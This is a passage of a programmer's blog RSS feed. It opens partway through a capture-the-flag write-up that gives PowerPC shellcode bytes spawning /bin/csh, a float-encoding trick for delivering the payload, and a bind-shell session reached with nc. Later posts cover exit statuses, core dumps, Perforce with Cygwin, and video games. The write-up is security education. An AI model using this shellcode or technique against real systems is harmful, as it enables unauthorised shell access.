"\x02\x7c\x00\x02\x78\x7f\xc3\xf3\x78\x38\x00\x00\x1e\x38\x80"
"\x00\x10\x90\x81\xff\xe8\x38\xa1\xff\xe8\x38\x81\xff\xf0\x44"
"\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x38\xa0\x00\x02"
"\x38\x00\x00\x5a\x7f\xc3\xf3\x78\x7c\xa4\x2b\x78\x44\x00\x00"
"\x02\x7c\x00\x02\x78\x38\xa5\xff\xff\x2c\x05\xff\xff\x40\x82"
"\xff\xe5\x38\x00\x00\x42\x44\x00\x00\x02\x7c\x00\x02\x78\x7c"
"\xa5\x2a\x79\x40\x82\xff\xfd\x7c\x68\x02\xa6\x38\x63\x00\x28"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x00\x00"
"\x3b\x7c\x00\x04\xac\x44\x00\x00\x02\x7c\x00\x02\x78\x7f\xe0"
"\x00\x08\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x00\x00\x00";</pre>
<p>We can&#8217;t just send the payload as-is, though.  We have to send it as floats which then get sscanf&#8217;ed into the raw binary.  So we need to take the payload, group it into 4-byte units, convert those to floats, and print those out as strings, being careful that the resulting strings reconvert back properly.  PowerPC instructions are fixed at 4 bytes, which is convenient in this case.  I did that with this little C snippet:</p>
<pre name="code" class="c">void emit(unsigned int op)
{
  char buf[256];

  union
  {
    unsigned int op;
    float f;
  } u;

  float g;

  u.op = op;
  sprintf(buf, "%64.64f", u.f);
  if(sscanf(buf, "%f", &#038;g) != 1 || g != u.f)
    printf("***BAD*** 0x%08x (%s)\n", u.op, buf);
  else
    printf("%s\n", buf);
}</pre>
<p>Trying it out, we see a couple of the opcodes from the payload don&#8217;t encode properly: 7fc3f378 (mr r3,r30) and 7fe00008 (trap).  Why?  Well, these correspond to encodings of <a href="http://en.wikipedia.org/wiki/NaN">NaN</a>.  If you try and sscanf back the string &#8220;nan&#8221;, you&#8217;re not going to get those values back.</p>
<p>Time to bust out the <a href="http://www.power.org/resources/downloads/PowerISA_V2.06_PUBLIC.pdf">Power ISA</a>.  Let&#8217;s find some instructions we can replace those with that encode properly.  We want to avoid any instruction that begins with the bits 011111111 or 111111111.  After some perusing through the opcode maps, I found that &#8220;addi r3,r30,0&#8243;, encoded as 387e0000, would be a suitable replacement for &#8220;mr r3,30&#8243;, and &#8220;twi 15,r0,0&#8243;, encoded as 0de00000, would be a suitable replacement for &#8220;trap&#8221;.  The trap instruction isn&#8217;t actually necessary, it&#8217;s just a safety in case the system call to exec() to execute the shell fails, but I decided to replace it anyways.</p>
<p>Throw in a standard nop sled, and we&#8217;re done!  <a href="http://adamrosenfield.com/files/pp400-exploit.c">Here&#8217;s</a> the final exploit code.  Run as:</p>
<pre>$ ./pp400-exploit | nc localhost 4138
Send me some floats (max of 16), I will tell you some stats!
The average of your 148 numbers is inf
The standard deviation of your 148 numbers is inf

# Open up a new shell and connect to the bind shell
nc localhost 4444
id
uid=504(luser) gid=504(luser) groups=504(luser)
pwd
/Users/luser</pre>
<p>Huzzah!  We have a bind shell!</p>
<p>Now I mentioned earlier that I didn&#8217;t get around to solving this during the contest, so I don&#8217;t know if this exploit would have worked against the target machine.  I do know, however, that since the PowerPC exploit worked flawlessly on my x86 Mac, it wouldn&#8217;t have mattered whether the target machine was actually PPC or x86 (though I did have to tweak the length of the nop sled and the buffer address to jump to until it worked, since the program has different behavior when running under the debugger and when not).  Props to Rosetta for correctly translating code generated at runtime.</p>
<p>And that, my friends, is an anatomy of an exploit.</p>
<p>You could have done all that, or you could have realized that this problem was identical to <a href="http://shallweplayaga.me/pwnable/">pp400 from last year</a>.  I of course didn&#8217;t realize this since I didn&#8217;t compete last year, but one of my teammates pointed this out to me (yet somehow I lost the motivation to keep working on this problem&#8230;).  That unofficial writeup to which I just linked was taken down during the contest, presumably because the writers were competing again and didn&#8217;t want to give other teams an advantage, though my teammate had a copy of the text.  In any case, I still had fun solving this.</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/05/26/ill-take-pwtent-pwnables-for-400-please-alex/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>One more note about exit statuses</title>
		<link>http://adamrosenfield.com/blog/2010/05/19/one-more-note-about-exit-statuses/</link>
		<comments>http://adamrosenfield.com/blog/2010/05/19/one-more-note-about-exit-statuses/#comments</comments>
		<pubDate>Thu, 20 May 2010 01:14:41 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=90</guid>
		<description><![CDATA[Last week, I mentioned in passing that Windows allows the full range of 32-bit exit codes. That&#8217;s true, but only if you directly call ExitProcess() (or its less-friendly kin TerminateProcess()). If you just call exit() (or return from main(), which implicitly calls exit()), then like in the *NIX world, you only get the bottom 8 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://adamrosenfield.com/blog/2010/05/13/so-whats-in-an-exit-status-anyways/">Last week</a>, I mentioned in passing that Windows allows the full range of 32-bit exit codes.  That&#8217;s true, but only if you directly call <a href="http://msdn.microsoft.com/en-us/library/ms682658%28VS.85%29.aspx"><code>ExitProcess()</code></a> (or its less-friendly kin <a href="http://msdn.microsoft.com/en-us/library/ms686714%28v=VS.85%29.aspx"><code>TerminateProcess()</code></a>).</p>
<p>If you just call <code>exit()</code> (or return from <code>main()</code>, which implicitly calls <code>exit()</code>), then like in the *NIX world, you only get the bottom 8 bits of the exit status—see <a href="http://msdn.microsoft.com/en-us/library/6wdz5232%28VS.71%29.aspx">MSDN&#8217;s <code>exit()</code> documentation</a>.  So for portability&#8217;s sake, don&#8217;t use exit statuses above 255 unless you <em>really, really</em> need to.</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/05/19/one-more-note-about-exit-statuses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>So what&#8217;s in an exit status anyways?</title>
		<link>http://adamrosenfield.com/blog/2010/05/13/so-whats-in-an-exit-status-anyways/</link>
		<comments>http://adamrosenfield.com/blog/2010/05/13/so-whats-in-an-exit-status-anyways/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:02:27 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=82</guid>
		<description><![CDATA[Last time, we saw how we can capture a process&#8217; core dump. The astute reader will have noticed that we seem to be pulling bits out of thin air: int status; if(wait(&#038;status) &#60; 0) perror("wait"); if(WIFSIGNALED(status) &#038;&#038; WCOREDUMP(status)) ... We&#8217;ve got a 32-bit exit status, and yet we seem to getting two more useful bits [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://adamrosenfield.com/blog/2010/04/23/dumping-core/">Last time</a>, we saw how we can capture a process&#8217; core dump.  The astute reader will have noticed that we seem to be pulling bits out of thin air:</p>
<pre name="code" class="c">int status;
if(wait(&#038;status) &lt; 0)
  perror("wait");
if(WIFSIGNALED(status) &#038;&#038; WCOREDUMP(status))
...</pre>
<p>We&#8217;ve got a 32-bit exit status, and yet we seem to getting two more useful bits of information out of it from the <code>WIFSIGNALED()</code> and <code>WCOREDUMP()</code> macros.  How is that possible?</p>
<p>Well, what you thought was a 32-bit exit status really isn&#8217;t 32 bits.  In fact, it&#8217;s quite a bit less than.  The C standard only guarantees one useful bit.  Quoth section 7.20.4.3, paragraph 5, of the <a href="http://c-faq.com/ansi/avail.html">C99 standard</a>, which describes the <a href="http://linux.die.net/man/3/exit"><code>exit(3)</code></a> function:</p>
<blockquote><p>Finally, control is returned to the host environment. If the value of <code>status</code> is zero or <code>EXIT_SUCCESS</code>, an implementation-defined form of the status <em>successful termination</em> is returned. If the value of <code>status</code> is <code>EXIT_FAILURE</code>, an implementation-defined form of the status <em>unsuccessful termination</em> is returned. Otherwise the status returned is implementation-defined.</p></blockquote>
<p>Recall that <em>implementation-defined</em> means the C standard doesn&#8217;t define what happens, but the <em>implementation</em> (in this case, the GNU C library, or the Microsoft C library, etc.) <b>must document</b> the decision it made.  Contrast this with <em>undefined behavior</em>, in which anything could happen (including erasing your hard drive), and nowhere does what happens have to be documented.</p>
<p>So if you want to write portable code, you only get one bit of information in your exit status: successful or unsuccessful termination, which is often good enough for most applications.  If you go this route, it&#8217;s a good idea to use the <code>EXIT_SUCCESS</code> and <code>EXIT_FAILURE</code> macros, but it&#8217;s by no means necessary.  You can use still use 0 and something non-0 (1 is a popular—and good—choice), and it will still work pretty much anywhere if you&#8217;re not unlucky.  But the only truly 100% portable unsuccessful status is <code>EXIT_FAILURE</code>.</p>
<p>Screw that.  You want more than one bit of information in your exit status.  There&#8217;s a whole 32 bits (or occasionally 16 or 64 on some non-standard systems) in an <code>int</code>, so why can&#8217;t we use them?  On Linux, the <a href="http://linux.die.net/man/3/exit"><code>exit(3)</code> man page</a> clearly states we get 8 bits:</p>
<blockquote><p>The <b>exit()</b> function causes normal process termination and the value of <em>status &amp; 0377</em> is returned to the parent (see <em><b><a href="http://linux.die.net/man/2/wait">wait</a></b>(2)</em>).</p></blockquote>
<p><a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man3/exit.3.html">Mac OS X</a> likewise also provides 8 bits (though that fact is a little more subtle in the documentation there).  Windows fares better here—it provides the full 32 bits via the <a href="http://msdn.microsoft.com/en-us/library/ms683189%28v=VS.85%29.aspx"><code>GetExitCodeProcess()</code></a> function here—but the discussion here is going to focus on Linux/Mac OS X for now.</p>
<p>8 bits.  Much more useful than 1, though not quite the 32 you might have been hoping for.  It&#8217;s enough to express a varied gamut of exit statuses (<em>incorrect usage</em>, <em>file not found</em>, <em>other unexpected error</em>, etc.).</p>
<p>A consequence of this behavior is if you exit with a status that is a multiple of 256, that&#8217;s indistinguishable from 0, which means you&#8217;re likely exiting with a successful status when you meant it to be unsuccessful.  Oops.</p>
<p>As a quick example, try out these shell commands (<code>$?</code> is a <a href="http://www.gnu.org/software/bash/manual/bashref.html#Special-Parameters">special parameter</a> that evaluates to the exit status of the last child process or pipeline ran by the shell):</p>
<pre>$ bash -c 'exit 5'; echo $?     # Prints 5
$ bash -c 'exit 256'; echo $?   # Prints 0 (!)</pre>
<p>Now that we&#8217;ve figured out we only have 8 bits that come with an exit status, it&#8217;s clear how the <code>WIFSIGNALED()</code> and <code>WCOREDUMP()</code> macros work: <a href="http://linux.die.net/man/2/wait"><code>wait(2)</code></a> stuffs extra information into the status in addition to the child process&#8217; exit status (you could have figured that out by reading the man page, but you obviously didn&#8217;t since you&#8217;re here reading this).</p>
<p>One final word of caution: be careful about exit statuses above 128.  When a process is terminated due to a signal (say, because it segfaulted, resulting in a <code>SIGSEGV</code>), the exit status is 128 plus the signal number.  Yes, a parent process can tell if the child process was terminated by a signal or by calling <code>exit()</code> by checking with <code>WIFSIGNALED()</code>, but it&#8217;s not always possible to get at that information when you want it.  If you&#8217;re executing commands in the bash shell, you can get at the exit status quite easily with <code>$?</code>, but you can&#8217;t get at the other bits returned by <code>wait()</code>, at least not in any way I know.  To keep things simple, if you never use exit statuses above 128, then anyone can unambiguously determine that an exit status of 0–127 means a normal exit, and an exit status of 128–255 means an abnormal exit.</p>
<p>In summary, use only <code>EXIT_SUCCESS</code> and <code>EXIT_FAILURE</code> for maximally portable code, and otherwise use only 0–127 for code that will be portable to Linux, Mac OS X, and Windows (and probably other not-uncommon systems that are still in current us but with which I&#8217;m not familiar enough to comment on).</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/05/13/so-whats-in-an-exit-status-anyways/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dumping core</title>
		<link>http://adamrosenfield.com/blog/2010/04/23/dumping-core/</link>
		<comments>http://adamrosenfield.com/blog/2010/04/23/dumping-core/#comments</comments>
		<pubDate>Sat, 24 Apr 2010 00:52:30 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=72</guid>
		<description><![CDATA[Your program just crashed, and you didn&#8217;t have a debugger attached. You can&#8217;t reproduce the crash after many attempt. How you do debug the problem? Well, if your program had left a core dump, you could easily attach a debugger postmortem and get some kind of idea what state the program was in before it [...]]]></description>
			<content:encoded><![CDATA[<p>Your program just crashed, and you didn&#8217;t have a debugger attached.  You can&#8217;t reproduce the crash after many attempt.  How you do debug the problem?</p>
<p>Well, if your program had left a <a href="http://en.wikipedia.org/wiki/Core_dump">core dump</a>, you could easily attach a debugger postmortem and get some kind of idea what state the program was in before it died.  A core dump is essentially a dump of all memory in your program&#8217;s virtual address space: stack, heap, code and everything else.</p>
<p>On most systems, though, you won&#8217;t get a core dump when you crash, where a crash can come from a segfault (or any other signal), a call to <a href="http://die.linux.net/man/2/abort"><tt>abort(2)</tt></a> (such as via a failed assertion), a call to <a href="http://publib.boulder.ibm.com/infocenter/lnxpcomp/v8v101/index.jsp?topic=/com.ibm.xlcpp8l.doc/language/ref/cplr163.htm"><tt>terminate()</tt></a> (such as via throwing an uncaught exception), or other similar avenues.  Core dumps are rather large (after all, it&#8217;s <em>all of the memory</em> from the process) — they can easily be tens or hundreds of megabytes, even for simple programs, due to a large number of shared libraries being loaded.  Your hard drive would fill up very quickly if every program that crashed left a core dump.</p>
<p>If you&#8217;re just poking around in the shell, you can enable core dumps with <a href="http://linux.die.net/man/1/ulimit"><tt>ulimit(1)</tt></a> to raise the core dump file size limit from 0 (the default) to something non-zero such as <tt>unlimited</tt>.  This will cause any crashing programs spawned by that shell to leave core dumps.  For example:</p>
<pre>$ cat crash.c
int main(void)
{
    *(int *)1 = 2;  // cause a segfault
}
$ gcc crash.c -o crash
$ ./crash
Segmentation fault
$ ulimit -c unlimited
$ ./crash
Segmentation fault (core dumped)
</pre>
<p>Where the core dump ends up depends on your operating system.  By default, Linux puts it in a file named <tt>core</tt> in the current working directory, and Mac OS X puts it in a file named <tt>/cores/core.&lt;PID&gt;</tt>, where &lt;PID&gt; is the process ID of the process that crashed.  The exact name and location may vary by flavor and version of OS.  See the <a href="http://linux.die.net/man/5/core">core(5)</a> man page for detailed discussion of core files on Linux.</p>
<p>Ok, so that&#8217;s all well and good if someone has the good nature to run <tt>ulimit</tt> before running your program, but few (if any) people will do so.  If you want to say, <em>&#8220;No really, I want core dumps!</em>, you can call <a href="http://linux.die.net/man/2/setrlimit"><tt>setrlimit(2)</tt></a> to set the limit for yourself and any child processes (which is all <tt>ulimit</tt> really does).  Just make sure not to annoy your users by filling up their hard drives with core dumps.  Which of course you won&#8217;t do because your code is perfect and never crashes anyways.</p>
<p>You&#8217;ve gone through the trouble of creating a core dump, but when your program crashes in some far away land, how do you actually get your hands on the core dump?  You could ask your users to email it to you, but they&#8217;re not going to do that.  They&#8217;re just going to complain on the Internet that your software sucks and that people shouldn&#8217;t use it.  Some operating systems have a nice <a href="http://developer.apple.com/mac/library/technotes/tn2004/tn2123.html">Crash Reporter</a> or <a href="http://www.microsoft.com/whdc/winlogo/maintain/StartWER.mspx">Error Reporting Service</a>, but those send crash reports to first parties, something you might not want, and getting the crash data back to you is far from trivial.</p>
<p>One solution is to install your own error handlers in-process to catch things such as segfaults and instead of letting the operating system handle the error, you handle it yourself: you do your own stack trace, grab important data such as filenames, optionally pop up a UI asking the user if he wants to send an error report and for supplemental information, and sending the crash report your way.  This is a lot of work, and it&#8217;s also dangerous: if your program has crashed, there&#8217;s no telling what state it&#8217;s in.  Trying to do something like sending an email from a signal handler could easily fail — your heap might be corrupted, so you could crash again the moment you do something as mundane as try to allocated some memory.  If you decide to go this route, a good place to start would be with <a href="http://linux.die.net/man/2/signal"><tt>signal(2)</tt></a>/<a href="http://linux.die.net/man/2/sigaction"><tt>sigaction(2)</tt></a> (*nix and OSX) or <a href="http://msdn.microsoft.com/en-us/library/ms680657%28VS.85%29.aspx">Structured Exception Handling</a> (Windows).</p>
<p>A solution that I like better is <em>out-of-process</em>.  Just let the process crash and dump core as before, but this time we&#8217;ll have a <em>watchdog process</em> running.  The watchdog just waits for the main process to exit (normally or abnormally); if it sees an abnormal exit and a core dump, then it sends off the crash report into the ether.  This is much safer, since you don&#8217;t have to worry about things such as a corrupted heap when sending a crash report.  The only downside to this you now have twice as many processes running.</p>
<p>Here&#8217;s a full example of a watchdog with core dumps.  The program forks, with the parent as the watchdog.  The child intentionally crashes, and then the parent grabs the core dump if one was made.</p>
<pre name="code" class="c">#include &lt;errno.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/resource.h&gt;
#include &lt;sys/wait.h&gt;

int main(int argc, char **argv)
{
  // Try to enable core dumps
  struct rlimit core_limit;
  core_limit.rlim_cur = RLIM_INFINITY;
  core_limit.rlim_max = RLIM_INFINITY;

  if(setrlimit(RLIMIT_CORE, &#038;core_limit) < 0)
    fprintf(stderr, "setrlimit: %s\nWarning: core dumps may be truncated or non-existant\n", strerror(errno));

  int status;
  switch(fork())
  {
  case 0:
    // We are the child process -- run the actual program
    *(int *)1 = 2;  // segfault
    break;

  case -1:
    // An error occurred, shouldn't happen
    perror("fork");
    return -1;

  default:
    // We are the parent process -- wait for the child process to exit
    if(wait(&#038;status) < 0)
      perror("wait");
    printf("child exited with status %d\n", status);
    if(WIFSIGNALED(status) &#038;&#038; WCOREDUMP(status))
    {
      printf("got a core dump\n");
      // find core dump, email it to your servers, etc.
    }
  }

  return 0;
}</pre>
<p>If you compile and run this program, you'll get a core dump from the child process, which the parent process will detect, and it can then do whatever it wants with it.  Email it to you, upload it to a server, analyze it and trim it down before doing those, or anything else you can write code to do.  All from the safety of an uncrashed process.  If you run <tt>ulimit -c 0</tt> before running this program, you'll see the warning about <tt>setrlimit</tt> failing and you won't get a core dump.  This is because, if you look at the documentation for <tt>setrlimit</tt>, you'll see that the soft limit can never exceed the hard limit, and the hard limit can only be decreased by unprivileged processes.</p>
<p>So there you have it.  You now have a way to have your software dump core when it crashes and send those core dumps back to you without any extra hassle on the user's part.  Though depending on who your users are, it may still be a good idea to ask them if they want to send a crash report before actually doing so, since core dumps can easily contain private information in them.  If you had anything like usernames or passwords in memory anywhere in your process, they'll be in the core dump.  So keep that in mind and take appropriate measures to protect users' privacy.  Encrypt the core dump if necessary.  Maybe even attach a cryptographic signature to ensure authenticity.</p>
<p>Links for further enrichment:</p>
<ul>
<li><a href="http://developer.apple.com/mac/library/technotes/tn2004/tn2124.html">Mac OS X debugging magic</a>, lots of great debug-fu for Mag OS X</p>
<li><a href="http://www.codeproject.com/KB/debug/XCrashReportPt1.aspx">XCrashReport</a> (<a href="http://www.codeproject.com/KB/debug/XCrashReportPt2.aspx">part 2</a>) (<a href="http://www.codeproject.com/KB/debug/XCrashReportPt3.aspx">part 3</a>) (<a href="http://www.codeproject.com/KB/debug/XCrashReportPt4.aspx">part 4</a>), a nifty in-process crash reporter for Windows
<li>And for your amusement: <a href="http://www.piratejesus.com/nerdcore/065.html">Kill -9 Bill</a>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/04/23/dumping-core/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>It must be Retro Season again</title>
		<link>http://adamrosenfield.com/blog/2010/02/16/it-must-be-retro-season-again/</link>
		<comments>http://adamrosenfield.com/blog/2010/02/16/it-must-be-retro-season-again/#comments</comments>
		<pubDate>Wed, 17 Feb 2010 02:35:49 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Video games]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=67</guid>
		<description><![CDATA[Following in the success of Mega Man 9, Capcom has decided to release another sequel in the style of the old NES Mega Man games: Mega Man 10 (Not to be confused with Mega Man X) Can&#8217;t wait. Though I will be avoiding easy mode, its existence will appease the people who thought Mega Man [...]]]></description>
			<content:encoded><![CDATA[<p>Following in the success of <a href="http://adamrosenfield.com/blog/2008/09/23/mega-man-9/"><em>Mega Man 9</em></a>, Capcom has decided to release another sequel in the style of the old NES <em>Mega Man</em> games: <em>Mega Man 10</em></p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/cImYt-Ce8ss&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/cImYt-Ce8ss&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
<p>(<a href="http://www.penny-arcade.com/comic/2006/2/24/">Not to be confused</a> with <a href="http://www.penny-arcade.com/2006/2/24/">Mega Man X</a>)</p>
<p>Can&#8217;t wait.  Though I will be avoiding <a href="http://www.youtube.com/watch?v=G8fpLem2-ho">easy mode</a>, its existence will appease the people who thought <em>Mega Man 9</em> was way too hard.  Kids these days.  They wouldn&#8217;t last more than 5 minutes in <em>Battletoads</em> before</p>
<p><img src="http://pixelorama.files.wordpress.com/2008/10/protoman.jpg" width="50%"></p>
<p>And for the first^H^H^H^H^Hsecond time, Proto Man is playable!  First not counting DLC.  Or spin-off games.  Speaking of which, why haven&#8217;t I bought the <em>Mega Man 9</em> DLC?  I really should.  I just&#8230;.haven&#8217;t.  Don&#8217;t know why.</p>
<p>I vaguely remember reading somewhere that Proto Man&#8217;s character was supposed to be the original design for Mega Man, but the NES color palette didn&#8217;t have enough reds in it to make him look good, so the designers made him blue instead, and saved the red design for Proto.  But, I can&#8217;t find a source for this fact, so take this with a grain of salt.  I also don&#8217;t know much about the NES video hardware, so it&#8217;s entirely conceivable that it supports a customizable palette that can handle several shades of red at once.</p>
<p>Ok, so the Blue Bomber is back in town this March.  Awesome.  But you know else is back in town?  The Blue Blur:</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/0CrgO5c-9m8&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/0CrgO5c-9m8&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
<p>There was a pretty awesome leaked video showing actual gameplay, though that was quickly brought down by Sega, so I&#8217;ll have to settle for the interesting-but-not-a-lot-of-juicy-content official video above.</p>
<p>For the first time since the Genesis days of <em>Sonic 3 &#038; Knuckles</em>, Sonic finally comes back to his roots for some good old-fashioned 2 (and-a-half) D speed platforming.  I was a huge fan of the <em>Sonic</em> series back in the day, but nothing after the Genesis has been good enough for me.  Though I hear that <a href="http://en.wikipedia.org/wiki/Sonic_Rush"><em>Sonic Rush</em></a> was fairly decent; maybe I&#8217;ll get around to that some day, but it&#8217;s fairly low in my queue.</p>
<p>Yes, spring-summer 2010 is shaping up to be a fine, fine season of neo-retro-gaming.</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/02/16/it-must-be-retro-season-again/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Green Day: Rock Band</title>
		<link>http://adamrosenfield.com/blog/2010/01/12/green-day-rock-band/</link>
		<comments>http://adamrosenfield.com/blog/2010/01/12/green-day-rock-band/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 05:11:06 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Video games]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=56</guid>
		<description><![CDATA[Ok, yeah, I know, I&#8217;ve not been updating this blog too frequently. I really should have written this entry a month ago, when the following announcement was made on the Spike Video Game Awards 2009: Not included in the announcement was the fact that Demiurge Studios was working on Green Day: Rock Band. And I [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, yeah, I know, I&#8217;ve not been updating this blog too frequently.  I really should have written this entry a month ago, when the following announcement was made on the <a href="www.spike.com/event/vga2009">Spike Video Game Awards 2009</a>:</p>
<div style="width: 480px;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" id="gtembed" width="480" height="392"><param name="allowScriptAccess" value="sameDomain" /><param name="allowFullScreen" value="true" /><param name="movie" value="http://www.gametrailers.com/remote_wrap.php?mid=59819"/><param name="quality" value="high" /><embed src="http://www.gametrailers.com/remote_wrap.php?mid=59819" swLiveConnect="true" name="gtembed" align="middle" allowScriptAccess="sameDomain" allowFullScreen="true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="392"></embed></object></div>
<p>Not included in the announcement was the fact that Demiurge Studios was working on <em>Green Day: Rock Band</em>.  And I gotta say, it&#8217;s pretty freakin&#8217; awesome working on it.  I&#8217;d love to tell you more, but NDAs, yada yada yada, so I can&#8217;t say much else.</p>
<p>It&#8217;s strange, though, that I didn&#8217;t realize how big of a Green Day fan I was until we started working on this game and I listened to all of their albums.  I loved a lot of their songs beforehand, but I didn&#8217;t know that those songs I loved were Green Day songs since I pay next to no attention to the artists behind particular songs.  I don&#8217;t really buy much music, so most of the songs that I like that I&#8217;ve only heard on the radio, at parties, etc., I have no idea who plays them.</p>
<p>This makes the third <em>Rock Band</em> title I&#8217;ve worked on, the other two being <a href="http://adamrosenfield.com/blog/2009/07/25/if-youre-gonna-play-the-gameboy-ya-gotta-learn-to-play-it-right/"><em>Rock Band Country Track Pack</em></a> and <em>Rock Band Metal Track Pack</em>.  [Aside: <em>Metal</em> was <a href="http://www.rockband.com/forums/showthread.php?t=157383">originally announced</a> to be released on Rocktober 13; we'd wrapped up work on it long before then.  Then, lo and behold, on <a href="http://www.rockband.com/forums/showthread.php?p=3070645#post3070645">September 22</a>, an email went around with "hey look, we've got a game on store shelves".  Turns out the release date got pushed forward by 3 weeks, and nobody at Demiurge realized it].  But this ain&#8217;t no wimpy little track pack &#8212; it&#8217;s a whole new game that&#8217;s an order of magnitude more challenging, and we&#8217;re working as hard as possible to make this game as awesome as possible.</p>
<p>Rock on!</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/01/12/green-day-rock-band/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Making p4 and Cygwin play nice</title>
		<link>http://adamrosenfield.com/blog/2009/11/02/making-p4-and-cygwin-play-nice/</link>
		<comments>http://adamrosenfield.com/blog/2009/11/02/making-p4-and-cygwin-play-nice/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 03:57:01 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=51</guid>
		<description><![CDATA[Say you&#8217;re a developer doing development on Windows, and say you&#8217;re using Perforce (better known as p4) for source control. Let&#8217;s also say you have *nix background and like using Cygwin to keep you from going insane. What are your options for interacting with p4? Fortunately, Perforce provides a binary compiled against Cygwin. You can [...]]]></description>
			<content:encoded><![CDATA[<p>Say you&#8217;re a developer doing development on Windows, and say you&#8217;re using <a href="http://www.perforce.com">Perforce</a> (better known as p4) for source control.  Let&#8217;s also say you have *nix background and like using <a href="http://www.cygwin.com">Cygwin</a> to keep you from going insane.  What are your options for interacting with p4?</p>
<p>Fortunately, Perforce provides a binary compiled against Cygwin.  You can download that, drop it in your <code>$PATH</code>, and be on your merry way.</p>
<p>But I happen to like <a href="http://www.perforce.com/perforce/products/p4win.html">P4Win</a> as a graphical client, and P4Win doesn&#8217;t play nicely with the Cygwin p4.  Why?  Client roots.  With P4Win (or any other non-Cygwin client, for that matter), your client root is a Windows-style path, e.g. <code>C:\path\to\root</code>.  But Cygwin sees things differently.  It wants your client root to be something like <code>/cygdrive/c/path/to/root</code>.</p>
<p>So, if you have a client set up with P4Win and try to interact with the command line p4 in Cygwin, you&#8217;ll get messages like this:</p>
<pre>'awesomecode.cc' is not under client's root 'C:\path\to\root'</pre>
<p>You can get around this by using absolute paths, e.g.:</p>
<pre>p4 edit $(cygpath -wa awesomecode.cc)</pre>
<p>That gets tiresome very fast, though.  But you, fearless reader, you are in luck!  I have just the solution for you!  It turns out that all p4 needs is a little persuasion to change its <code>PWD</code> environment variable.  I whipped up a little C program that fixes up its <code>PWD</code> and exec&#8217;s the real p4, so it no longer gets confused.</p>
<p>You can download my program <a href="http://adamrosenfield.com/files/p4.zip">here</a>.  Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2009/11/02/making-p4-and-cygwin-play-nice/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>If you&#8217;re gonna play the Gameboy, ya gotta learn to play it right</title>
		<link>http://adamrosenfield.com/blog/2009/07/25/if-youre-gonna-play-the-gameboy-ya-gotta-learn-to-play-it-right/</link>
		<comments>http://adamrosenfield.com/blog/2009/07/25/if-youre-gonna-play-the-gameboy-ya-gotta-learn-to-play-it-right/#comments</comments>
		<pubDate>Sat, 25 Jul 2009 14:49:51 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Video games]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=45</guid>
		<description><![CDATA[Ok, so that&#8217;s not quite how the lyrics for Kenny Rogers&#8217; The Gambler go, but it&#8217;s an amusing case of misheard lyrics. The Gambler is just one of 21 great country songs you&#8217;ll find in the brand new Rock Band Country Track Pack, available now for the PS2, PS3, Xbox 360, and Wii. Enough with [...]]]></description>
